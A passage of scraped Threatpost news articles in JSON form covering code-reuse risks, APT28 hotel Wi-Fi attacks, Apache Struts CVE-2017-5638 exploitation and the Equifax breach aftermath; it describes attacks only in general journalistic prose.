vulnerabilities, but we don\u2019t police any of the code we host.\u201d\n\n**Repositories Say: \u2018We\u2019re Just the Host\u2019**\n\nRepositories contacted by Threatpost say their platforms are a resource for developers akin to cloud storage services that allow people to store and share content publicly or privately. They don\u2019t tell users what they can and cannot host with their service.\n\nThey say rooting out bugs in software should be on shoulders of developers \u2013 not repositories. Writing good vulnerability-free code starts at getting good code from healthy repositories with engaged users.\n\n[![bitbucket](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232105/bitbucket-150x150.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232105/bitbucket.png>)\u201cBitbucket is to a developer like Home Depot is to a carpenter,\u201d said Rahul Chhabria, product manager for Atlassian Bitbucket. \u201cWe\u2019ve built a hosting service with a variety of tools to help developers execute on their vision.\u201d\n\nChhabria said Bitbucket offers a range of tools to help sniff out bad or insecure components such as the third-party tool SourceClear for scanning dependency chains. It also offers Bitbucket that it says allows for team development of software projects and simplifies peer review. Another features, Bitbucket Pipelines, is also designed to help developers ship high quality code.\n\nGitHub is one of the largest repositories; it hosts 49 million public and private projects for its 18 million users. It does not scan or red flag insecure code hosted on its platform, according to Shawn Davenport, VP of security at GitHub. Instead developers can use third party-tools such as Gemnasium, Brakeman and Code Climate for static and dependency analysis.\n\n[![github](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232101/github-150x150.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232101/github.png>)\u201cThere is a lot of hidden risk out there in projects,\u201d Davenport said. \u201cWe do our best to make sure our developers know what tools are available to them to vet their own code.\u201d He estimates a minority GitHub developers take advantage of software scanning and auditing tools. \u201cUnfortunately security isn\u2019t a developers first priority.\u201d\n\nOther repositories told Threatpost they intentionally take a hands-off approach and say expecting them to police their own software isn\u2019t feasible, not part of their mission and nothing they plan to do. They point out, flawed or not, developers want access to all code \u2013 even older components.\n\n\u201cAn implementation of a library in one framework might not be a security risk at all,\u201d Breen said. He points out developers often temporarily revert to those old libraries as stopgaps should an updated version break a project.\n\n**Automated Scanning to the Rescue?**\n\nOne attempt at nipping the problem at the bud is the used of automated security vulnerability and configuration scanning for open source components. By 2019, more than 70 percent of enterprise DevOps initiatives will incorporate automated scanning, according to Gartner. Today only 10 percent of packages are scanned.\n\n[![nodejs](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232050/nodejs-150x150.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232050/nodejs.png>)The Node.js Foundation, an industry consortium designed to promote the Node.js platform, relies on a more community-based approach via the Node.js Security Project. The goal is to provide developers a process for discovering and disclosing security vulnerabilities found in the Node.js module ecosystem. According to Node.js the approach is a hybrid solution that consists of a database of vulnerabilities and a community communication channel for vetting and disclosing vulnerable code.\n\n\u201cIt\u2019s not a story about security professionals solving the problem, it\u2019s about how we empower development with the right information about the (software) parts they are consuming,\u201d Weeks said. \u201cIn this case, the heart of the solution lies with development, and therefore requires a new approach and different thinking.\u201d\n", "cvss3": {}, "published": "2016-12-15T10:00:39", "type": "threatpost", "title": "Code Reuse a Peril for Secure Software Development", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-12-27T13:45:57", "id": "THREATPOST:87897784F4B89A5B9E8CE18E2324CC70", "href": "https://threatpost.com/code-reuse-a-peril-for-secure-software-development/122476/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:16", "description": "Russian-speaking cyberespionage group APT28, also known as Sofacy, is believed to be behind a series of attacks last month against travelers staying in hotels in Europe and the Middle East. APT28 notably used the NSA hacking tool EternalBlue as part of its scheme to steal credentials from business travelers, according to a [report](<https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html>) released Friday by security firm FireEye.\n\nOne of the goals of the attack is to trick guests to download a malicious document masquerading as a hotel reservation form that, if opened and macros are enabled, installs a dropper file that ultimately downloads malware called Gamefish. Gamefish establishes a foothold in targeted systems as a way to install the open source tool called Responder, according to FireEye.\n\n\u201cOnce inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks,\u201d wrote authors of the report Lindsay Smith and Benjamin Read, both researchers with FireEye\u2019s cyber espionage team.\n\n\u201cTo spread through the hospitality company\u2019s network, APT28 used a version of the EternalBlue SMB exploit. This was combined with the heavy use of py2exe to compile Python scripts. This is the first time we have seen APT28 incorporate this exploit into their intrusions,\u201d researchers said.\n\nFireEye said APT28\u2019s objective was to steal credentials from business travelers using hotel Wi-Fi networks, which the researchers said they did not observe. FireEye does cite a 2016 hotel attack by APT28 with a similar modus operandi. In that incident, a hotel guest\u2019s username and password were stolen while they used the Wi-Fi network. Within 12 hours the victim\u2019s business network was compromised by someone using their credentials.\n\nOnce the foothold is established in the hotel\u2019s wi-fi system, hackers deployed the Responder tool in order to facilitate NetBIOS Name Service (NBT-NS) poisoning. \u201cThis technique listens for NBT-NS (UDP/137) broadcasts from victim computers attempting to connect to network resources. Once received, Responder masquerades as the sought-out resource and causes the victim computer to send the username and hashed password to the attacker-controlled machine,\u201d researchers said.\n\nThat username and hashed password from hotel guests is cracked offline and later used to escalate privileges in the victim\u2019s network, according to FireEye.\n\nIn all, hotels in seven European countries and one Middle Eastern country were targeted. \u201cBusiness and government personnel who are traveling, especially in a foreign country, often rely on systems to conduct business other than those at their home office, and may be unfamiliar with threats posed while abroad,\u201d researchers wrote.\n\nAPT28, or Sofacy, is the group implicated by a December [DHS report](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>) related to U.S. election hacks. In a report [released earlier this week](<https://threatpost.com/updates-to-sofacy-turla-highlight-2017-q2-apt-activity/127297/>), Kaspersky Lab said the group has adopted new macro techniques and continued to find new targets such as the French political party.\n\n\u201cThese incidents show a novel infection vector being used by APT28. The group is leveraging less secure hotel Wi-Fi networks to steal credentials and a NetBIOS Name Service poisoning utility to escalate privileges,\u201d FireEye wrote. \u201cPublicly accessible Wi-Fi networks present a significant threat and should be avoided whenever possible.\u201d\n", "cvss3": {}, "published": "2017-08-12T08:00:32", "type": "threatpost", "title": "APT28 Using EternalBlue to Attack Hotels in Europe, Middle East", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-08-12T11:12:17", "id": "THREATPOST:31661FC1D8CDC4988A6B8EB802933A7B", "href": "https://threatpost.com/apt28-using-eternalblue-to-attack-hotels-in-europe-middle-east/127419/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:59", "description": "Public attacks and scans looking for exposed Apache webservers have ramped up dramatically since Monday when a vulnerability in the Struts 2 web application framework was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) and proof-of-concept exploit code was introduced into Metasploit.\n\nThe vulnerability, [CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>), was already under attack in the wild prior to Monday\u2019s disclosure, but since then, the situation has worsened and experts fear it\u2019s going to linger for a while.\n\n\u201cThe second someone starts working on a [Metasploit module](<https://github.com/rapid7/metasploit-framework/issues/8064>), it\u2019s a ramp-up for rapid exploitation by a large number of people,\u201d said Craig Williams, senior technical leader for Cisco\u2019s Talos research outfit. \u201cWe\u2019re basically seeing a huge number of people continue to exploit the vulnerability. That\u2019s likely going to continue to increase. I think what we\u2019re also going to see is people going to try to scan for the vulnerability.\u201d\n\nThe flaw lives in the Jakarta Multipart parser upload function in Apache. It allows an attacker to easily make a maliciously crafted request (a malicious Content-Type value) to an Apache webserver and have it execute. Struts 2.3.5 to Struts 2.3.31 are affected as are Struts 2.5 to 2.5.10; admins are urged to upgrade immediately to [Struts 2.3.32](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32>) or [2.5.10.1](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1>).\n\nTalk of the vulnerability surfaced on Chinese forums, according to Vincente Motos, who posted an advisory on the [HackPlayers](<http://www.hackplayers.com/2017/03/exploit-rce-para-apache-struts-cve-2017-5638.html>) website. Motos said a notorious Apache Struts hacker known as Nike Zheng posted a public proof-of-concept exploit demonstrating the simplicity in which an attacker could inject operating system commands.\n\nThe attacks are particularly risky to anyone running their Apache webservers as root, which is not a suggested practice. Williams said it\u2019s unclear whether an attacker can benignly scan for vulnerable servers in order to determine the version and context under which Struts is running, whether as Apache or root, for example. But as with some older internet-wide bugs, there are a large number of scans happening.\n\n\u201c[Attacks] look like requests to a webserver with a malformed piece,\u201d Williams said. \u201cUnless you\u2019re looking for it, it\u2019s easy not to see the malformed content type.\u201d\n\nAn attacker, he said, would need to just modify one line depending on the operating system the target is running, Windows or Linux, and have it download a malicious binary from the web.\n\n\u201cUnfortunately, due to the nature of command-line injections like this, it\u2019s very easy to modify,\u201d Williams said. \u201cAnd that\u2019s why I think we\u2019re going to continue to see exploitation rise for the foreseeable future.\u201d\n\nThe risks are severe for an organization running an exposed Apache server if it\u2019s compromised.\n\n\u201cThe sky\u2019s the limit,\u201d Williams said. \u201cIf I\u2019m a bad guy, depending on what my game is, I can take over your webserver and use that to move laterally through your network. If I\u2019m super insidious, I can use that to look for your domain controller and if I can find a way to compromise your password hashes, say from the Linux server I compromised, I can possibly log in to your domain controller and use that to push malware to all your machines. I could ransom off your webserver, all kinds of terrible things.\u201d\n\nWilliams said [Cisco has observed](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) that the majority of public attacks feature a number of Linux bots used for DDoS attacks taking advantage of this vulnerability, along with an IRC bouncer, and a malware sample related to the bill gates botnet.\n\nWilliams cautioned as well that connected devices in the IoT space could also be a major concern, since Struts 2 likely runs there.\n\n\u201cI\u2019m going to guess there\u2019s a reasonable number of devices running it, and due to the nature of IoT, those aren\u2019t going to be patched any time soon. So this is going to be an issue for the foreseeable future.\u201d\n\nGiven the availability of patches and detection rules, it\u2019s likely that public attacks are going to be largely mitigated and as more detection rules surface, public exploits should be less useful to attackers.\n\n\u201cDue to the fact that it\u2019s relatively easy to go inside and modify an attack, it\u2019s going to be bad and it\u2019s going to plague us for some time,\u201d Williams said. \u201cGood news is that detecting it is not that difficult.\u201d\n", "cvss3": {}, "published": "2017-03-09T12:25:46", "type": "threatpost", "title": "Attacks Heating Up Against Apache Struts 2 Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T19:50:52", "id": "THREATPOST:1C2F8B65F8584E9BF67617A331A7B993", "href": "https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:27:47", "description": "Equifax said that an additional 2.4 million Americans have had their [personal data](<https://investor.equifax.com/news-and-events/news/2018/03-01-2018-140531340>) stolen as part of the company\u2019s massive 2017 data breach, including their names and some of their driver\u2019s license information.\n\nThe additional identified victims bring the total of those implicated in what has become the largest data breach of personal information in history to around 148 million people.\n\nThe consumer credit reporting agency on Thursday said that as part of an \u201congoing analysis\u201d it found that these newly identified victims\u2019 names and partial driver\u2019s license numbers were stolen by attackers. However, unlike the previous 145.5 million people who have been identified to date as impacted by the 2017 breach, the Social Security numbers of these additional victims were not impacted.\n\nAttackers were also unable to reach additional license details for this latest slew of impacted victims \u2013 including the state where their licenses were issued and the expiration dates.\n\n\u201cThis is not about newly discovered stolen data,\u201d Paulino do Rego Barros, Jr., interim chief executive officer of Equifax, said in a statement. \u201cIt\u2019s about sifting through the previously identified stolen data, analyzing other information in our databases that was not taken by the attackers, and making connections that enabled us to identify additional individuals.\u201d\n\nEquifax said the new victims were not previously identified because their Social Security numbers were not stolen together with their driver\u2019s license information.\n\n\u201cThe methodology used in the company\u2019s forensic examination of last year\u2019s cybersecurity incident leveraged Social Security Numbers (SSNs) and names as the key data elements to identify who was affected by the cyberattack,\u201d said the company in a statement. \u201cThis was in part because forensics experts had determined that the attackers were predominately focused on stealing SSNs.\u201d\n\nEquifax said it will notify the newly identified consumers directly by U.S. Postal mail, \u201cand will offer identity theft protection and credit file monitoring services at no cost to them,\u201d said the company.\n\nThe company did not respond to requests for further comment from Threatpost about its current ongoing analysis of the breach.\n\n**Ongoing Breach Disclosures**\n\nEquifax has been under public scrutiny since September, that\u2019s when it first disclosed the data breach after issuing a statement at the time that cybercriminals had exploited an unnamed \u201cU.S. website application vulnerability to gain access to certain files\u201d from May through July 2017. Equifax said it discovered the breach on July 29. The breach enabled criminals to access sensitive data like social security numbers, birth dates, and license numbers.\n\nLater, during Equifax\u2019s testimony in October before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection, it was revealed that Equifax was notified in March that the breach was tied to an unpatched [Apache Struts vulnerability, CVE-2017-5638](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>). It was established that while Equifax said it had requested the \u201capplicable personnel responsible\u201d to update the vulnerability it never was fixed.\n\n\u201cIt appears that the breach occurred because of both human error and technology failures,\u201d Richard Smith, Equifax CEO at the time, wrote in a [testimony](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) that was released at the hearing in October.\n\nMaking the breach worse was Equifax\u2019s further botched response to the breach.\n\nAfter the breach was revealed in September, the company\u2019s site was crushed with traffic from concerned customers that left the site unreachable. In a separate instance in October, the Equifax site came under fire for harboring [adware](<https://threatpost.com/equifax-takes-down-compromised-page-redirecting-to-adware-download/128406/>) in a third-party partner\u2019s Flash Player download.\n\nThe extent and scope of the breach also has been continually expanding since it was first disclosed in September. In October, after an analysis with security company Mandiant, the company said that an [additional](<https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/>) 2.5 million customers were also impacted on top of the 143 million the company initially said were affected.\n\nMeanwhile, in February, documents submitted by Equifax to the US Senate Banking Committee revealed that attackers also accessed taxpayers identification numbers, email addresses, and credit card expiration dates for certain customers.\n\n**Renewed Anger**\n\nThis latest slew of impacted customers has renewed anger against the company, with some demanding stricter legislation for data protection \u2013 such as the proposed Data Breach Prevention and Compensation Act, which would impose strict security-related fines on credit reporting agencies.\n\n> My office is continuing our investigation of [#Equifax](<https://twitter.com/hashtag/Equifax?src=hash&ref_src=twsrc%5Etfw>) so we can get to the bottom of how this disastrous data breach happened. \n> \n> We also need to change the law.\n> \n> \u2014 Eric Schneiderman (@AGSchneiderman) [March 1, 2018](<https://twitter.com/AGSchneiderman/status/969229077814108160?ref_src=twsrc%5Etfw>)\n\n> This is unacceptable. The California Department of Justice will continue to get to the bottom of this massive cybersecurity incident. We are committed to holding [#Equifax](<https://twitter.com/hashtag/Equifax?src=hash&ref_src=twsrc%5Etfw>) accountable to the fullest extent of the law. <https://t.co/fRPrUWcIyg>\n> \n> \u2014 Xavier Becerra (@AGBecerra) [March 1, 2018](<https://twitter.com/AGBecerra/status/969330796774359040?ref_src=twsrc%5Etfw>)\n\nEquifax, meanwhile, continues to remain under investigation by several federal and state agencies, including a probe by the Consumer Financial Protection Bureau.\n\nCustomers can see if their personal information has been breached by clicking on an \u201cAm I Impacted\u201d tool on Equifax\u2019s [website](<https://www.equifaxsecurity2017.com/>). The company also advised consumers to visit its web portal where they can review their account statements and credit reports, identify any unauthorized activity, and protect their personal information from attack.\n\nThe company handles data on more than 820 million customers and 91 million businesses worldwide.\n", "cvss3": {}, "published": "2018-03-02T15:12:57", "type": "threatpost", "title": "Equifax Says 2.4 Million More People Impacted By Massive 2017 Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-03-02T15:12:57", "id": "THREATPOST:AD5395CA5B3FD95FAD8E67B675D0AFCA", "href": "https://threatpost.com/equifax-adds-2-4-million-more-people-to-list-of-those-impacted-by-2017-breach/130209/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-04-11T11:42:25", "description": "Equifax will pay as much as $700 million to settle federal and state investigations on the heels of its infamous 2017 breach, which exposed the data of almost 150 million customers.\n\nThe consumer credit reporting agency on Monday [said](<https://investor.equifax.com/news-and-events/news/2019/07-22-2019-125543228>) it will dish out $300 million to cover free credit monitoring services for impacted consumers, $175 million to 48 states in the U.S, and $100 million in civil penalties to the Consumer Financial Protection Bureau (CFPB). If the initial amount does not cover consumer losses, the company may need to pay an additional $125 million.\n\n\u201cCompanies that profit from personal information have an extra responsibility to protect and secure that data,\u201d said Federal Trade Commission (FTC) Chairman Joe Simons [in a statement](<https://www.ftc.gov/news-events/press-releases/2019/07/equifax-pay-575-million-part-settlement-ftc-cfpb-states-related?utm_source=slider>). \u201cEquifax failed to take basic steps that may have prevented the breach that affected approximately 147 million consumers. This settlement requires that the company take steps to improve its data security going forward, and will ensure that consumers harmed by this breach can receive help protecting themselves from identity theft and fraud.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nEquifax, which handles data associated with more than 820 million customers and 91 million businesses worldwide, has been under public scrutiny since September 2017 when [it disclosed](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) a data breach that impacted almost 150 million Americans. The attackers managed to [access information](<https://threatpost.com/equifax-data-nation-state/141929/>) containing Social Security numbers, birth dates, addresses, and some driver\u2019s license numbers. Equifax said it discovered the intrusion on July 29, meaning attackers apparently had access to the company\u2019s files for nearly 12 weeks.\n\nAfter the data breach, Equifax was hit by multiple lawsuits, as well as investigations by the FTC, the CFPB, the Attorneys General of 48 states, and more.\n\n[![Equifax FTC](https://media.threatpost.com/wp-content/uploads/sites/103/2019/07/22101929/eqfx-socmed-summary-300x188.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/07/22101929/eqfx-socmed-summary.png>)\n\nLawsuits claimed that Equifax failed to patch its network in March 2017 after being alerted of a [critical security flaw](<https://threatpost.com/equifax-adds-2-4-million-more-people-to-list-of-those-impacted-by-2017-breach/130209/>) (an Apache Struts vulnerability, CVE-2017-5638) in its Equifax Automated Consumer Interview System database (which handles inquiries from consumers about their personal credit data). This vulnerability was ultimately exploited by bad actors, leading to the data breach.\n\nAs part of the agreement, Equifax also said it will take steps to enhance its information security and technology program, as well as make payments totaling $290.5 million to state and federal regulatory agencies to pay attorneys\u2019 fees and costs in the multi-district litigation.\n\nIn the past month, a slew of fines and penalties have been imposed that were tied privacy and data breach incidents. Earlier in July, the [FTC slapped](<https://threatpost.com/privacy-experts-facebooks-5b-fine/146478/>) a $5 billion fine on Facebook for privacy violations following its Cambridge Analytica incident. Also hit with security-related fines in July were [Marriott](<https://threatpost.com/marriott-123m-fine-data-breach/146320/>) ($123 million) and [British Airways](<https://threatpost.com/post-data-breach-british-airways-slapped-with-record-230m-fine/146272/>) ($230 million).\n\nWhile opinions are mixed about the appropriate penalty for these companies and Equifax, security experts for their part hope that other companies will take note of the fines when it comes to data security and privacy.\n\n\u201cI\u2019m far from an Equifax apologist, but the truth is it could have been anyone,\u201d Adam Laub, chief marketing officer at STEALTHbits Technologies said in an email. \u201cIt\u2019s not an excuse, but rather the reality we live in. The best outcome isn\u2019t Equifax making the situation right \u2013 although that is important for all of those affected \u2013 it\u2019s everyone else learning that the price to be paid outweighs the inconvenience of ensuring proper measures are taken to secure the data that puts them at risk in the first place. And it\u2019s got to be from the ground up too. There\u2019s no silver bullet.\u201d\n\n**_Interested in more on patch management? Don\u2019t miss our free live _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/1579496132196807171?source=ART>)**_, \u201c_****_Streamlining Patch Management,\u201d on Wed., July 24, at 2:00 p.m. EDT. Please join Threatpost editor Tom Spring and a panel of patch experts as they discuss the latest trends in Patch Management, how to find the right solution for your business and what the biggest challenges are when it comes to deploying a program. _****_[Register and Learn More](<https://attendee.gotowebinar.com/register/1579496132196807171?source=ART>)_**\n", "cvss3": {}, "published": "2019-07-22T14:31:39", "type": "threatpost", "title": "Equifax to Pay $700 Million in 2017 Data Breach Settlement", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2019-07-22T14:31:39", "id": "THREATPOST:5ADABEB29891532ECFF2D6ABD99CAED4", "href": "https://threatpost.com/equifax-to-pay-700-million-in-2017-data-breach-settlement/146579/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:58", "description": "Malicious traffic stemming from exploits against the [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>) disclosed and [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) this week has tapered off since Wednesday.\n\nResearchers at Rapid7 published an [analysis](<https://community.rapid7.com/community/infosec/blog/2017/03/09/apache-jakarta-vulnerability-attacks-in-the-wild>) of data collected from its honeypots situated on five major cloud providers and a number of private networks that shows a couple of dozen sources have targeted this vulnerability, but only two, originating in China, have actually sent malicious commands.\n\nCisco Talos said on Thursday that attacks had [risen sharply](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) since word leaked of publicly available exploits and a [Metasploit module](<https://github.com/rapid7/metasploit-framework/issues/8064>). But it conceded that it was difficult to ascertain whether probes for vulnerable Apache servers could be carried out benignly.\n\nRapid7 said that in a 72-hour period starting Tuesday, a handful of events cropped up peaking at fewer than 50 between 11 a.m. and 6 p.m. Wednesday.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2017/03/06230023/pastedImage_1.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2017/03/06230023/pastedImage_1.png>)\n\n\u201cWe are really seeing limited attempts to exploit the vulnerability,\u201d said Tom Sellers, threat analyst and security researcher at Rapid7. \u201cFor context, please keep in mind that our data is from honeypots hosted in cloud providers and may not reflect what other sensors and organizations are seeing.\u201d\n\nCraig Williams, Cisco Talos senior technical lead, said researchers there are seeing attack traffic trending downward as well.\n\n\u201cEarly indicators and past experiences were pointing to this being an ongoing issue with attackers continuing to seek out vulnerable machines. Interestingly, over the last couple days, we have seen a slowing of activity,\u201d Williams said. \u201cBecause this is so unusual, we are continuing to monitor the situation in case the trend starts moving in the other direction. Again, this is not typical for this type of issue but great news all the same.\u201d\n\nThe vulnerability is in the Jakarta Multipart parser that comes with Apache. An attacker can trivially exploit the vulnerability to gain remote code execution by sending a HTTP request that contains a crafted Content-Type value. The vulnerable software will throw an exception in such cases.\n\n\u201cWhen the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed,\u201d Sellers wrote in an analysis published yesterday.\n\nThe vulnerability was disclosed and patched on Monday, and by Tuesday, Rapid7 was seeing two malicious requests from a host geo-located in Zhengzhou, China. The attacks arrived in HTTP GET requests and issued commands to the vulnerable webserver for it to download binaries from the attacker-controlled server on the internet. Sellers called it a standard command-injection attack against a webserver where the attacker is able to write code that instructs the server to reach out to an IP address and download code that executes on the server.\n\nThe second attack was spotted Wednesday when a host in Shanghai, China sent HTTP POST requests to servers instructing them to disable their firewall and grab code related to the XOR DDoS malware family.\n\n\u201cWhile we\u2019ve seen a couple dozen sources exploiting the vulnerability, only those two issued malicious commands,\u201d Sellers said. \u201cWe\u2019ve actually seen a drop off in related traffic since Wednesday. The most active attacker stopped on Thursday around 4 a.m. U.S. Central time.\u201d\n\nSellers said it\u2019s unclear as to why there\u2019s been a dropoff in malicious traffic.\n\n\u201cIt could be caused by a number of factors. The malicious payload is pretty obvious and easy to filter if traffic is inspected,\u201d Sellers said. \u201cAttackers might be prioritizing other vulnerabilities such as the ones announced in cameras recently. The lull may be temporary and we may see activity rise again after attention moves on to efforts.\u201d\n\nCisco raised the issue of IoT devices running the vulnerable Apache software as well, which could be an indicator of initial interest from DDoS bots.\n\n\u201cGiven the low sample size it\u2019s difficult for me to say.It\u2019s possible that DDoS bots are the early adopters since infection would generate easy, repeatable income and the code was trivial to port to existing frameworks,\u201d Sellers said. \u201cCompare that to ransomware, where a new deployment mechanism may need to be written but would likely only result in a single payout per host.\u201d\n\nResearchers were also seeing a number of requests probing for additional vulnerable servers that included whoami and ifconfig, commands that are relatively benign but could return information about what context the server is running in. Servers running at root\u2014an uncommon practice\u2014are most at risk.\n", "cvss3": {}, "published": "2017-03-10T10:51:01", "type": "threatpost", "title": "Apache Attack Traffic Dropping, Limited to Few Sources", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-10T16:12:17", "id": "THREATPOST:AACAA4F654495529E053D43901F00A81", "href": "https://threatpost.com/apache-attack-traffic-dropping-limited-to-few-sources/124227/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:28:31", "description": "Equifax, the credit agency behind this summer\u2019s breach of 143 million Americans, said this week the number of victims implicated in the breach has increased.\n\nPaulino do Rego Barros, Jr., the company\u2019s interim CEO, [announced Monday](<https://www.equifaxsecurity2017.com/>) that 2.5 million additional Americans were also impacted, bringing the grand total to 145.5 million affected individuals.\n\nEquifax initially called its investigation around the breach \u201csubstantially complete,\u201d but said it was still carrying out further analysis with Mandiant, a FireEye company it hired to investigate the breach, on the incident. According to Equifax, investigators didn\u2019t find any additional vulnerabilities. The extra 2.5 million Americans figure came \u201cduring Mandiant\u2019s completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\u201d\n\nThe company used the opportunity on Monday to reiterate that Canadian citizens were also impacted, although far fewer than initially thought. The company said there may have been up to 100,000 Canadians affected several weeks ago however upon closer inspection, only 8,000 Canadian consumers were affected by the breach.\n\nEquifax says its still analyzing exactly how many United Kingdom consumers have been affected by the breach and is in the middle discussions with regulators to determine how to notify them.\n\nDetails about the breach came out the day before Richard Smith, Equifax\u2019s former CEO, was scheduled to testify about the breach before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection. Smith, former Equifax chairman and chief executive, [retired last Tuesday](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>) in wake of the breach.\n\nIn a [written testimony (.PDF)](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) released in tandem with the subcommittee hearing, Smith blamed the breach on a combination of \u201chuman error and technology failures.\u201d\n\n\u201cThese mistakes \u2013 made in the same chain of security systems designed with redundancies \u2013 allowed criminals to access over 140 million Americans\u2019 data,\u201d Smith wrote.\n\nIn the testimony Smith claimed that the U.S. Department of Homeland Security\u2019s Computer Emergency Readiness Team (U.S. CERT) notified Equifax on March 8 that [it needed to patch CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), the Apache Struts vulnerability that eventually led to the hack.\n\nEquifax requested the \u201capplicable personnel responsible\u201d update Apache Struts via email on March 9, something that should have been done within a 48 hour period, Smith said.\n\nThat was never done and according to Smith, the vulnerability wasn\u2019t picked up by internal scans designed to identify vulnerable systems carried out on March 15. The issue lingered for roughly two months until attackers accessed Equifax\u2019s systems on May 13 \u2013 and persisted until the company became aware of the attackers on July 30.\n\nGreg Walden (R-Ore.) pointed out some of Equifax\u2019s many missteps on Tuesday morning, including how Equifax\u2019s consumer facing website for the breach was put hosted on a separate domain from the main Equifax website, the confusion that spawned, and how on multiple occasions Equifax directed users to the wrong website.\n\n\u201cOn top of all the other issues, multiple times Equifax tweeted the wrong URL directing consumers to the wrong website to check if they were part of a breach,\u201d Walden said, \u201cTalk about ham-handed responses this is simply unacceptable and it makes me wonder if there was a breach response plan in place at all and if anyone was in charge of executing that plan.\u201d\n\nDuring another part of the hearing, Tim Murphy, a U.S. representative for Pennsylvania\u2019s 18th Congressional district, came back to that question. When told the company\u2019s original site couldn\u2019t handle the traffic is received, Murphy was befuddled.\n\n\u201cWhy wouldn\u2019t your website be able to handle this kind of traffic?\u201d Murphy asked, \u201cIt just doesn\u2019t make sense, a company your size and with your knowledge, doesn\u2019t understand how to handle traffic for over 100 million people, don\u2019t you use an Elastic cloud computing service that would\u2019ve accounted for this?\u201d\n\nSmith said the sheer amount of traffic Equifax\u2019s site received in wake of the breach made hosting a site on its domain impossible.\n\n\u201cThe environment the micro site is in is a cloud environment that\u2019s very, very scalable,\u201d Smith said. \u201cOur traditional environment could not handle 400 million consumer visits for three weeks.\u201d\n\nMurphy also grilled Smith on what took Equifax so long to patch the March vulnerability and if it\u2019s possible Equifax\u2019s internal scanning system could potentially miss another vulnerability.\n\n\u201cIf the patch only took a few days to apply why did Equifax fail to apply it in March when it was announced as critical?\u201d Murphy asked.\n\nSmith skirted the question and instead discussed the difficulties associated with patching.\n\n\u201cPatching can take a variety of time\u2026 it can take days or up to a week or more,\u201d Smith said, adding that he wasn\u2019t aware of the particular Struts vulnerability at the time.\n\nAt the end of the hearing, when pressed by Anna Eshoo, U.S. Representative for California\u2019s 18th congressional district, Smith described the process around patching again but did little to deviate from his prepared testimony.\n\n\u201cI want to know when they did it, when they took care of [the patch]\u201d Eshoo said.\n\n\u201cThey took care of it in July because we never found it,\u201d Smith said. \u201cWe had the human error, we did the scan, the technology never found it, in July we found suspicious activity, took the portal down, found the vulnerability, applied the patch.\u201d\n", "cvss3": {}, "published": "2017-10-03T15:27:08", "type": "threatpost", "title": "Equifax Says 145.5M Affected by Breach, Ex-CEO Testifies", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T15:27:08", "id": "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "href": 